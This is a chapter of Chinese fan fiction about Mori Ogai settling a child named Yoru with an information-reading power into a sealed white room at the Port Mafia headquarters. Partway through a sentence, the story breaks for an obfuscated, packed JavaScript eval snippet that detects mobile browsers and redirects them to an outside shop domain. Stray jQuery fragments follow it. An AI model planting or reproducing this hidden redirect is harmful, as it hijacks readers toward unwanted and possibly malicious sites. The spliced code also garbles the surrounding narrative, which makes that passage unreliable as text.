夜第一次坐汽车。
港口□□的黑色轿车穿过横滨湿漉漉的街道时，他把脸贴在车窗上，看着窗外飞速掠过的城市。这是他从未见过的景象——霓虹灯牌、行人、自行车、拉面摊上升腾的白雾……一切都生动、嘈杂、充满了"活"的气息。他的异能被动地摄取着沿路的无数信息：每个行人脑中的杂念、每栋建筑承载的历史、每条街道上发生过的悲欢离合。信息像潮水一样涌来，在他的脑中撞击、翻涌、堆积。
他感到头痛又要开始了。
"放松。"坐在对面的森鸥外说，"试着想象一堵墙。所有的信息都是河流，你的墙是河堤。让它们从墙外流过，只允许特定的一两条流入。"
夜闭上眼，尝试着去想象那堵墙。森鸥外的声音像一根绳子，在信息的洪流中为他提供了一个支点。他想象一堵灰色的、光滑的、极高的墙。河水流过来，撞击在墙上，溅起水花，但没有越过。
痛感消退了一些。他微微睁开眼。
森鸥外正看着他，眼中是那种评估性的光。"很好。你的适应性比我想象的更快。"
轿车驶入一栋高层建筑的地下停车场。夜被带进电梯，上行，再上行。电梯门打开时，他看到的是一扇白色的门。纯白色的、没有任何标识的门。
这是港口□□总部大楼的第十七层。后来夜才知道，这一层被森鸥外私下划为"特殊设施"，从未出现在任何正式文件上。但此刻的他，只是被领进了一间纯白色的房间——白色的墙壁、白色的地板、白色的床单、白色的灯光，没有窗户，除了天花板上一个通风口外，没有任何与外界连通的痕迹。
"这里会成为你暂时的住所，"森鸥外说，"墙壁做了特殊的隔音处理，也有屏蔽异能波动的涂层——当然，我不确定那对你是否有效。但至少能让你在不需要的时候，收窄你的感知范围。"
夜站在房间中央，环顾四周。纯白的、无菌的、安静的空间。在他的感知中，这间房间的信息异常单薄——几乎没有前人的记忆残留，没有深刻的情感印记。这本身就是一种刻意为之的结果。一个被精心"清理"过的空间，一个等待被他填满的空白盒子。
"我需要测试你的能力范围，"森鸥外从公文包中取出一个笔记本和一支笔，"你先休息一会儿。十分钟后有人会送食物过来。明天开始正式测试。有问题吗？"
夜摇了摇头。
森鸥外走到门口，停了一步，侧过头："对了，夜——这里的规则很简单。不离开这个房间，不做任何危险的事情，遵守指令。作为交换，我会帮你控制异能，教你识字、算术、各种你可能需要的东西。公平交易，你觉得呢？"
夜点了点头。那双眼睛里没有恐惧，没有迷茫，只有一种奇异的平静。
森鸥外满意地微笑，关上了门。
门锁发出"咔嗒"的轻响。
夜独自站在纯白的房间里。灯光从头顶倾泻下来，没有影子。他慢慢走到床边坐下，床垫出奇地柔软。他的手指按在白色的床单上，异能被动地读取着布料的纹理、织造的时间、曾经接触过它的人——只有一个人，清理工，女，四十岁左右，右手中指有老茧，心中想着"又要加班"。
他把手收回来。
然后他做了出门之后的第一件事情——他把自己蜷缩起来，像在废弃医院里那样，用双臂环抱住膝盖，把脸埋进臂弯里。异能感知的范围似乎真的被房间墙壁削弱了，只有极微弱的信息从墙外渗入——楼下某间办公室里的电话铃声、走廊尽头有人快步走过、远处隐约的音乐声。
他深吸一口气，又呼出去。
这是他选择的生活。他知道森鸥外不完全是好人——他的"观测"早就告诉了他这一点。但那个男人说得对，这是一个公平交易。在废弃医院里，他什么都没有，只有濒死的记忆和腐烂的墙壁。在这里，至少有一张干净的床、一顿可以期待的饭、一个能教他控制这可怕能力的人。
夜抬起头，看向天花板上的通风口。细小的灰尘在光柱中缓慢飞舞。
他想起废弃医院的最后一夜。大雨。冰冷的雨水打在脸上。他以为自己会死在那面墙壁前，被那些涌入脑中的信息撑裂、撕碎、压垮。但他没有。他活下来了。而且现在他在这里，在一个白房间里，有一个自称医生的男人说能帮他。
也许这就是"活下来"的代价。也许每个人都要用一些东西去换另一些东西。夜还不完全明白这其中的逻辑，但他能"感知"到一点——森鸥外需要他，就像他需要森鸥外。这种相互需要的关系，至少比废弃医院里的孤独要稳固得多。
他慢慢松开手臂，仰面倒在床上。白色的天花板在视野中展开，纯净的、没有瑕疵的平面。他的异能告诉他，这间房间的天花板是三个月前重新粉刷的，油
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17712409|208459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
漆工是个年轻男人，当时失恋了，刷墙时一直在听电台的情歌。
夜闭上了眼睛。
他需要学会分清什么是重要的信息，什么是无关的噪音。这是第一天。这是起点。
十分钟后，门锁响了。一个穿白大褂的研究员端着托盘走进来，上面是味噌汤、米饭和煎鱼。夜坐起身，看着食物，突然感到一种从未有过的清晰的饥饿。
研究员把托盘放在床边的矮桌上，低垂着眼睛，没有看夜。夜能感知到他的情绪——紧张、好奇、某种类似于怜悯的东西，以及更强烈的、来自上级指令的"不要多看、不要多问"的压抑。
"谢谢。"夜说。这是他有生以来第一次主动对别人说谢谢。声音有些生涩，像很久没上油的机械。
研究员愣了一下，终于忍不住瞥了夜一眼，然后迅速收回视线，点了点头，快步退出了房间。
夜看着关上的门，然后又看向托盘中的食物。味噌汤的热气轻轻升腾，有一种温暖的、属于"人间"的气息。他端起碗，小心地喝了一口。烫。很烫。但也很好喝。
这是他第一次喝到热的东西。
他慢慢地、一口一口地喝完了整碗汤，吃完了米饭，连煎鱼都仔仔细细地挑尽了每一丝肉。然后他放下筷子，坐在床沿，感到胃里升起一种陌生的温暖。
这种温暖让他想起一件事——废弃医院里的其他孩子，那些消失的孩子。他们去了哪里？他们有没有也喝过一碗热汤？他们有没有也坐在一个干净的房间里，被告知"这是公平交易"？
夜不知道答案。他的异能范围有限，在那个年纪还不足以覆盖整栋废弃医院的"记忆"。但他知道一件事：为了活下去，他需要信任森鸥外，至少暂时需要。
不是因为森鸥外值得信任。而是因为，没有别的选择。
夜重新躺下。灯光没有关，但白色的光线在闭上眼之后，变成了一种均匀的、模糊的暖色。他的呼吸渐渐平稳，脑中的信息流在白色墙壁的屏蔽下变得微弱、遥远。
他睡着了。
这是神崎夜在港口□□的第一个夜晚。
此刻他五岁。此刻距离他成为一个让横滨各方势力都忌惮的"观测者"，还有十七年。此刻他只是一个在白色房间里睡着的孩子，梦境是一片空白，因为他的人生还没有足够的记忆去填满它。
但空白，终将被填满。